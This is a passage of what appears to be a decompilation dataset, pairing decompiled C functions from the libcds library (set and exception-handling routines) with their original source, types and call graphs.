*stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "inputFileName", "char [256]" ], [ "trainFileName", "char [256]" ], [ "testFileName", "char [256]" ], [ "subsFileName", "char [256]" ], [ "numPosEgs", "unsigned long" ], [ "numNegEgs", "unsigned long" ], [ "numEgs", "unsigned long" ], [ "numFolds", "unsigned long" ], [ "egFolds", "unsigned long *" ], [ "error", "float" ], [ "meanError", "float" ], [ "TP", "unsigned long" ], [ "TN", "unsigned long" ], [ "FP", "unsigned long" ], [ "FN", "unsigned long" ], [ "totalTP", "unsigned long" ], [ "totalTN", "unsigned long" ], [ "totalFP", "unsigned long" ], [ "totalFN", "unsigned long" ], [ "i", "unsigned long" ] ], "return_type": "int", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct SubList { struct _sub_list_node *head; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct InstanceList { struct _instance_list_node *head; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "d826d5acd4fb5af275ad9b0597a27671b8e9edb7a148a096ccf9e27cbbb9f3ca" } ]
090c3d6f42b863f73dcdf73f23954619edc35306b93f7a8f2025229a62be9fc9
mikedlowis/libcds
[ [ "set_pair_free", "->" ], [ "set_pair_new", "->", "set_insert" ], [ "set_free", "->" ], [ "set_compare_nodes", "->" ], [ "set_contains", "->" ], [ "set_size", "->" ], [ "set_insert", "->", "set_pair_new" ], [ "set_delete", "->" ] ]
[]
[ { "name": "set_pair_free", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall set_pair_free(_QWORD *a1)\n{\nreturn mem_release(*a1);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(_QWORD *a1)\n{\nreturn mem_release(*a1);\n}", "original_code": "static void set_pair_free(void* obj)\n{\n mem_release(((set_pair_t*)obj)->value);\n}", "canonical_original_code": "static void set_pair_free(void *obj)\n{\n mem_release(((struct set_pair_t *)obj)->value);\n}", "variable_types": [ [ "obj", "void *" ] ], "return_type": "void", "user_defined_types": [ "struct set_pair_t { void *value; unsigned int hash; }" ], "binary_hash": "090c3d6f42b863f73dcdf73f23954619edc35306b93f7a8f2025229a62be9fc9" }, { "name": "set_pair_new", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall set_pair_new(__int64 a1, int a2)\n{\n__int64 result; // rax\n\nresult = mem_allocate(16LL, set_pair_free);\n*(_QWORD *)result = a1;\n*(_DWORD *)(result + 8) = a2;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1, int a2)\n{\n__int64 result; // rax\n\nresult = mem_allocate(16LL, set_pair_free);\n*(_QWORD *)result = a1;\n*(_DWORD *)(result + 8) = a2;\nreturn result;\n}", "original_code": "static set_pair_t* set_pair_new(void* value, uint32_t hash)\n{\n set_pair_t* pair = (set_pair_t*)mem_allocate(sizeof(set_pair_t), &set_pair_free);\n pair->value = value;\n pair->hash = hash;\n return pair;\n}", "canonical_original_code": "static struct set_pair_t *set_pair_new(void *value, unsigned int hash)\n{\n struct set_pair_t *pair = (set_pair_t*)mem_allocate(sizeof(set_pair_t), &set_pair_free);\n pair->value = value;\n pair->hash = hash;\n return pair;\n}", "variable_types": [ [ "value", "void *" ], [ "hash", "unsigned int" ], [ "pair", "struct set_pair_t { void *value; unsigned int hash; } *" ] ], "return_type": "struct set_pair_t { void *value; unsigned int hash; } *", "user_defined_types": [ "struct set_pair_t { void *value; unsigned int hash; }" ], "binary_hash": "090c3d6f42b863f73dcdf73f23954619edc35306b93f7a8f2025229a62be9fc9" }, { "name": "set_free", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall set_free(__int64 a1)\n{\nreturn mem_release(*(_QWORD *)(a1 + 8));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1)\n{\nreturn mem_release(*(_QWORD *)(a1 + 8));\n}", "original_code": "static void set_free(void* obj)\n{\n mem_release(((set_t*)obj)->tree);\n}", "canonical_original_code": "static void set_free(void *obj)\n{\n mem_release(((struct set_t *)obj)->tree);\n}", "variable_types": [ [ "obj", "void *" ] ], "return_type": "void", "user_defined_types": [ "struct set_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "090c3d6f42b863f73dcdf73f23954619edc35306b93f7a8f2025229a62be9fc9" }, { "name": "set_compare_nodes", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall set_compare_nodes(__int64 a1, __int64 a2, __int64 a3)\n{\nif ( *(_DWORD *)(a2 + 8) < *(_DWORD *)(a3 + 8) )\nreturn (unsigned int)-1;\nif ( *(_DWORD *)(a2 + 8) <= *(_DWORD *)(a3 + 8) )\nreturn (unsigned int)cmp_compare(a1, *(_QWORD *)a2, *(_QWORD *)a3);\nreturn 1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1, __int64 a2, __int64 a3)\n{\nif ( *(_DWORD *)(a2 + 8) < *(_DWORD *)(a3 + 8) )\nreturn (unsigned int)-1;\nif ( *(_DWORD *)(a2 + 8) <= *(_DWORD *)(a3 + 8) )\nreturn (unsigned int)cmp_compare(a1, *(_QWORD *)a2, *(_QWORD *)a3);\nreturn 1;\n}", "original_code": "static int set_compare_nodes(void* env, void* p_a, void* p_b)\n{\n int cmp;\n cmp_t* user_comp = (cmp_t*)env;\n set_pair_t* pair_a = (set_pair_t*)p_a;\n set_pair_t* pair_b = (set_pair_t*)p_b;\n if (pair_a->hash < pair_b->hash) {\n cmp = -1;\n } else if (pair_a->hash > pair_b->hash) {\n cmp = 1;\n } else {\n cmp = cmp_compare(user_comp, pair_a->value, pair_b->value);\n }\n return cmp;\n}", "canonical_original_code": "static int set_compare_nodes(void *env, void *p_a, void *p_b)\n{\n int cmp;\n struct cmp_t *user_comp = (cmp_t*)env;\n struct set_pair_t *pair_a = (set_pair_t*)p_a;\n struct set_pair_t *pair_b = (set_pair_t*)p_b;\n if (pair_a->hash < pair_b->hash) {\n cmp = -1;\n } else if (pair_a->hash > pair_b->hash) {\n cmp = 1;\n } else {\n cmp = cmp_compare(user_comp, pair_a->value, pair_b->value);\n }\n return cmp;\n}", "variable_types": [ [ "env", "void *" ], [ "p_a", "void *" ], [ "p_b", "void *" ], [ "cmp", "int" ], [ "user_comp", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *" ], [ "pair_a", "struct set_pair_t { void *value; unsigned int hash; } *" ], [ "pair_b", "struct set_pair_t { void *value; unsigned int hash; } *" ] ], "return_type": "int", "user_defined_types": [ "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "struct set_pair_t { void *value; unsigned int hash; }" ], "binary_hash": "090c3d6f42b863f73dcdf73f23954619edc35306b93f7a8f2025229a62be9fc9" }, { "name": "set_contains", "canonical_name": "func4", "repo": "mikedlowis/libcds", "decompiled_code": "bool __fastcall set_contains(__int64 a1, __int64 a2)\n{\n__int64 v3; // [rsp+10h] [rbp-10h] BYREF\nint v4; // [rsp+18h] [rbp-8h]\n\nv3 = a2;\nv4 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nreturn rbt_lookup(*(_QWORD *)(a1 + 8), &v3) != 0;\n}\n", "canonical_decompiled_code": "bool __fastcall func4(__int64 a1, __int64 a2)\n{\n__int64 v3; // [rsp+10h] [rbp-10h] BYREF\nint v4; // [rsp+18h] [rbp-8h]\n\nv3 = a2;\nv4 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nreturn rbt_lookup(*(_QWORD *)(a1 + 8), &v3) != 0;\n}", "original_code": "_Bool set_contains(set_t* set, void* value)\n{\n set_pair_t pair = { value, set->hash_func(value) };\n return (((void *)0) != rbt_lookup(set->tree, &pair));\n}", "canonical_original_code": "_Bool set_contains(struct set_t *set, void *value)\n{\n struct set_pair_t pair = { value, set->hash_func(value) };\n return (((void *)0) != rbt_lookup(set->tree, &pair));\n}", "variable_types": [ [ "set", "struct set_t { unsigned int (*hash_func)(void *obj); struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *tree; } *" ], [ "value", "void *" ], [ "pair", "struct set_pair_t { void *value; unsigned int hash; }" ] ], "return_type": "_Bool", "user_defined_types": [ "struct set_pair_t { void *value; unsigned int hash; }", "struct set_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "090c3d6f42b863f73dcdf73f23954619edc35306b93f7a8f2025229a62be9fc9" }, { "name": "set_size", "canonical_name": "func5", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall set_size(__int64 a1)\n{\nreturn (int)rbt_size(*(_QWORD *)(a1 + 8));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(__int64 a1)\n{\nreturn (int)rbt_size(*(_QWORD *)(a1 + 8));\n}", "original_code": "size_t set_size(set_t* set)\n{\n return rbt_size(set->tree);\n}", "canonical_original_code": "unsigned long set_size(struct set_t *set)\n{\n return rbt_size(set->tree);\n}", "variable_types": [ [ "set", "struct set_t { unsigned int (*hash_func)(void *obj); struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *tree; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct set_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "090c3d6f42b863f73dcdf73f23954619edc35306b93f7a8f2025229a62be9fc9" }, { "name": "set_insert", "canonical_name": "func6", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall set_insert(__int64 a1, __int64 a2)\n{\nint v2; // eax\n__int64 result; // rax\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv2 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nv4 = set_pair_new(a2, v2);\nif ( rbt_lookup(*(_QWORD *)(a1 + 8), v4) )\nresult = mem_release(v4);\nelse\nresult = rbt_insert(*(_QWORD *)(a1 + 8), v4);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(__int64 a1, __int64 a2)\n{\nint v2; // eax\n__int64 result; // rax\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv2 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nv4 = func1(a2, v2);\nif ( rbt_lookup(*(_QWORD *)(a1 + 8), v4) )\nresult = mem_release(v4);\nelse\nresult = rbt_insert(*(_QWORD *)(a1 + 8), v4);\nreturn result;\n}", "original_code": "void set_insert(set_t* set, void* value)\n{\n set_pair_t* pair = set_pair_new(value, set->hash_func(value));\n if (!rbt_lookup(set->tree, pair))\n rbt_insert(set->tree, pair);\n else\n mem_release(pair);\n}", "canonical_original_code": "void set_insert(struct set_t *set, void *value)\n{\n struct set_pair_t *pair = set_pair_new(value, set->hash_func(value));\n if (!rbt_lookup(set->tree, pair))\n rbt_insert(set->tree, pair);\n else\n mem_release(pair);\n}", "variable_types": [ [ "set", "struct set_t { unsigned int (*hash_func)(void *obj); struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *tree; } *" ], [ "value", "void *" ], [ "pair", "struct set_pair_t { void *value; unsigned int hash; } *" ] ], "return_type": "void", "user_defined_types": [ "struct set_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct set_pair_t { void *value; unsigned int hash; }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "090c3d6f42b863f73dcdf73f23954619edc35306b93f7a8f2025229a62be9fc9" }, { "name": "set_delete", "canonical_name": "func7", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall set_delete(__int64 a1, __int64 a2)\n{\n__int64 v3; // [rsp+10h] [rbp-10h] BYREF\nint v4; // [rsp+18h] [rbp-8h]\n\nv3 = a2;\nv4 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nreturn rbt_delete(*(_QWORD *)(a1 + 8), &v3);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(__int64 a1, __int64 a2)\n{\n__int64 v3; // [rsp+10h] [rbp-10h] BYREF\nint v4; // [rsp+18h] [rbp-8h]\n\nv3 = a2;\nv4 = (*(__int64 (__fastcall **)(__int64))a1)(a2);\nreturn rbt_delete(*(_QWORD *)(a1 + 8), &v3);\n}", "original_code": "void set_delete(set_t* set, void* value)\n{\n set_pair_t pair = { value, set->hash_func(value) };\n rbt_delete(set->tree, &pair);\n}", "canonical_original_code": "void set_delete(struct set_t *set, void *value)\n{\n struct set_pair_t pair = { value, set->hash_func(value) };\n rbt_delete(set->tree, &pair);\n}", "variable_types": [ [ "set", "struct set_t { unsigned int (*hash_func)(void *obj); struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *tree; } *" ], [ "value", "void *" ], [ "pair", "struct set_pair_t { void *value; unsigned int hash; }" ] ], "return_type": "void", "user_defined_types": [ "struct set_pair_t { void *value; unsigned int hash; }", "struct set_t { unsigned int (*hash_func)(void *obj); struct rbt_t *tree; }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "090c3d6f42b863f73dcdf73f23954619edc35306b93f7a8f2025229a62be9fc9" } ]
18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77
mikedlowis/libcds
[ [ "exn_uncaught", "->", "exn_throw" ], [ "exn_pop", "->", "exn_process", "exn_rethrow" ], [ "exn_prep", "->" ], [ "exn_process", "->", "exn_handler", "exn_rethrow", "exn_pop" ], [ "exn_throw", "->", "exn_uncaught", "exn_handler", "exn_rethrow", "exn_assert" ], [ "exn_rethrow", "->", "exn_process", "exn_pop", "exn_throw" ], [ "exn_catch", "->", "exn_current" ], [ "exn_current", "->", "exn_catch" ], [ "exn_handler", "->", "exn_process", "exn_throw" ], [ "exn_assert", "->", "exn_throw" ] ]
[]
[ { "name": "exn_uncaught", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "void __noreturn exn_uncaught()\n{\nif ( !Exn_Msg )\nExn_Msg = (__int64)\"Uncaught Exception!\";\nfprintf(\nstderr,\n\"%s:%d:0:(%s) %s\\n\",\n(const char *)Exn_File,\n(unsigned int)Exn_Line,\n*(const char **)(Exn_Current + 8),\n(const char *)Exn_Msg);\nexit(1);\n}\n", "canonical_decompiled_code": "void __noreturn func0()\n{\nif ( !Exn_Msg )\nExn_Msg = (__int64)\"Uncaught Exception!\";\nfprintf(\nstderr,\n\"%s:%d:0:(%s) %s\\n\",\n(const char *)Exn_File,\n(unsigned int)Exn_Line,\n*(const char **)(Exn_Current + 8),\n(const char *)Exn_Msg);\nexit(1);\n}", "original_code": "static void exn_uncaught(const exn_t* p_exn) {\n (void)p_exn;\n if (((void *)0) == Exn_Msg)\n Exn_Msg = \"Uncaught Exception!\";\n fprintf(stderr, \"%s:%d:0:(%s) %s\\n\",\n Exn_File, Exn_Line, Exn_Current->name, Exn_Msg);\n exit(1);\n}", "canonical_original_code": "static void exn_uncaught(struct exn_t *p_exn) {\n (void)p_exn;\n if (((void *)0) == Exn_Msg)\n Exn_Msg = \"Uncaught Exception!\";\n fprintf(stderr, \"%s:%d:0:(%s) %s\\n\",\n Exn_File, Exn_Line, Exn_Current->name, Exn_Msg);\n exit(1);\n}", "variable_types": [ [ "p_exn", "struct exn_t { struct exn_t *p_parent; char *name; } *" ] ], "return_type": "void", "user_defined_types": [ "struct exn_t { struct exn_t *p_parent; char *name; }" ], "binary_hash": "18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77" }, { "name": "exn_pop", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "void exn_pop()\n{\nvoid *ptr; // [rsp+8h] [rbp-8h]\n\nptr = (void *)Exn_Handlers;\nExn_Handlers = *(_QWORD *)Exn_Handlers;\nfree(ptr);\n}\n", "canonical_decompiled_code": "void func1()\n{\nvoid *ptr; // [rsp+8h] [rbp-8h]\n\nptr = (void *)Exn_Handlers;\nExn_Handlers = *(_QWORD *)Exn_Handlers;\nfree(ptr);\n}", "original_code": "static void exn_pop(void) {\n exn_stack_t* p_prev = Exn_Handlers;\n Exn_Handlers = p_prev->p_next;\n free(p_prev);\n}", "canonical_original_code": "static void exn_pop() {\n struct exn_stack_t *p_prev = Exn_Handlers;\n Exn_Handlers = p_prev->p_next;\n free(p_prev);\n}", "variable_types": [ [ "p_prev", "struct exn_stack_t { struct exn_stack_t *p_next; struct exn_handler_t { struct __jmp_buf_tag { long __jmpbuf[8]; int __mask_was_saved; struct __sigset_t { unsigned long __val[-1]; } __saved_mask; } context[1]; enum exn_state_t { EXN_BEGIN=0, EXN_TRY=1, EXN_CATCH=2, EXN_FINALLY=3, EXN_DONE=4 } state; } handler; } *" ] ], "return_type": "void", "user_defined_types": [ "struct exn_stack_t { struct exn_stack_t *p_next; struct exn_handler_t handler; }", "struct exn_handler_t { struct __jmp_buf_tag context[1]; enum exn_state_t state; }", "enum exn_state_t { EXN_BEGIN=0, EXN_TRY=1, EXN_CATCH=2, EXN_FINALLY=3, EXN_DONE=4 }", "struct __jmp_buf_tag { long __jmpbuf[8]; int __mask_was_saved; struct __sigset_t __saved_mask; }", "struct __sigset_t { unsigned long __val[-1]; }" ], "binary_hash": "18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77" }, { "name": "exn_prep", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 exn_prep()\n{\n__int64 result; // rax\n__int64 v1; // [rsp+8h] [rbp-8h]\n\nv1 = Exn_Handlers;\nExn_Handlers = (__int64)malloc(0xD8uLL);\n*(_QWORD *)Exn_Handlers = v1;\nresult = Exn_Handlers;\n*(_DWORD *)(Exn_Handlers + 208) = 0;\nExn_Handled = 1;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func2()\n{\n__int64 result; // rax\n__int64 v1; // [rsp+8h] [rbp-8h]\n\nv1 = Exn_Handlers;\nExn_Handlers = (__int64)malloc(0xD8uLL);\n*(_QWORD *)Exn_Handlers = v1;\nresult = Exn_Handlers;\n*(_DWORD *)(Exn_Handlers + 208) = 0;\nExn_Handled = 1;\nreturn result;\n}", "original_code": "void exn_prep(void) {\n exn_stack_t* p_prev = Exn_Handlers;\n Exn_Handlers = (exn_stack_t*)malloc(sizeof(exn_stack_t));\n Exn_Handlers->p_next = p_prev;\n Exn_Handlers->handler.state = EXN_BEGIN;\n Exn_Handled = 1;\n}", "canonical_original_code": "void exn_prep() {\n struct exn_stack_t *p_prev = Exn_Handlers;\n Exn_Handlers = (struct exn_stack_t *)malloc(sizeof(exn_stack_t));\n Exn_Handlers->p_next = p_prev;\n Exn_Handlers->handler.state = EXN_BEGIN;\n Exn_Handled = 1;\n}", "variable_types": [ [ "p_prev", "struct exn_stack_t { struct exn_stack_t *p_next; struct exn_handler_t { struct __jmp_buf_tag { long __jmpbuf[8]; int __mask_was_saved; struct __sigset_t { unsigned long __val[-1]; } __saved_mask; } context[1]; enum exn_state_t { EXN_BEGIN=0, EXN_TRY=1, EXN_CATCH=2, EXN_FINALLY=3, EXN_DONE=4 } state; } handler; } *" ] ], "return_type": "void", "user_defined_types": [ "struct exn_stack_t { struct exn_stack_t *p_next; struct exn_handler_t handler; }", "struct exn_handler_t { struct __jmp_buf_tag context[1]; enum exn_state_t state; }", "enum exn_state_t { EXN_BEGIN=0, EXN_TRY=1, EXN_CATCH=2, EXN_FINALLY=3, EXN_DONE=4 }", "struct __jmp_buf_tag { long __jmpbuf[8]; int __mask_was_saved; struct __sigset_t __saved_mask; }", "struct __sigset_t { unsigned long __val[-1]; }" ], "binary_hash": "18195bcf3718ecab6469b4fb1987cbace7caee172bfaeb3c4de44b2e54607b77" }, { "name": "exn_process", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 exn_process()\n{\nint v0; // ebx\nunsigned __int8 v2; // [rsp+Fh] [rbp-11h]\n\nv2 = 1;\nswitch ( *(_DWORD *)(exn_handler() + 200) )\n{\ncase 0:\n*(_DWORD *)(exn_handler() + 200) = 1;\nbreak;\ncase 1:\nif ( Exn_Handled != 1 )\nv0 = 2;\nelse\nv0 = 3;\n*(_DWORD *)(exn_handler() + 200) = v0;\nbreak;\ncase 2:\n*(_DWORD *)(exn_handler() + 200) = 3;\nbreak;\ncase 3:\nif ( Exn_Handled != 1 )\nexn_rethrow();\n*(_DWORD *)(exn_handler() + 200) = 4;\nbreak;\ncase 4:\nexn_pop();\nv2 = 0;\nbreak;\ndefault:\nfwrite(\"Error: Exception handler entered an invalid state\\n\", 1uLL, 0x32uLL, stderr);\nexit(1);\n}\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 func3()\n{\nint v0; // ebx\nunsigned __int8 v2; // [rsp+Fh] [rbp-11h]\n\nv2 = 1;\nswitch ( *(_DWORD *)(func8() + 200) )\n{\ncase 0:\n*(_DWORD *)(func8() + 200) = 1;\nbreak;\ncase 1:\nif ( Exn_Handled != 1 )\nv0 = 2;\nelse\nv0 = 3;\n*(_DWORD *)(func8() + 200) = v0;\nbreak;\ncase 2:\n*(_DWORD *)(func8() + 200) = 3;\nbreak;\ncase 3:\nif ( Exn_Handled != 1 )\nfunc5();\n*(_DWORD *)(func8() + 200) = 4;\nbreak;\ncase 4:\nfunc1();\nv2 = 0;\nbreak;\ndefault:\nfwrite(\"Error: Exception handler entered an invalid state\\n\", 1uLL, 0x32uLL, stderr);\nexit(1);\n}\nreturn v2;\n}", "original_code": "_Bool exn_process(void) {\n _Bool ret = 1;\n switch(exn_handler()->state) {\n case EXN_BEGIN:\n exn_handler()->state = EXN_TRY;\n break;\n case EXN_TRY:\n exn_handler()->state = (!Exn_Handled) ? EXN_CATCH : EXN_FINALLY;\n break;\n case EXN_CATCH:\n exn_handler()->state = EXN_FINALLY;\n break;\n case EXN_FINALLY:\n if (!Exn_Handled)\n exn_rethrow();\n else\n exn_handler()->state = EXN_DONE;\n break;\n case EXN_DONE:\n exn_pop();\n ret = 0;\n break;\n default:\n fprintf(stderr, \"Error: Exception handler entered an invalid state\\n\");\n exit(1);\n break;\n }\n return ret;\n}", "canonical_original_code": "_Bool exn_process() {\n _Bool ret = 1;\n switch(exn_handler()->state) {\n case EXN_BEGIN:\n exn_handler()->state = EXN_TRY;\n break;\n case 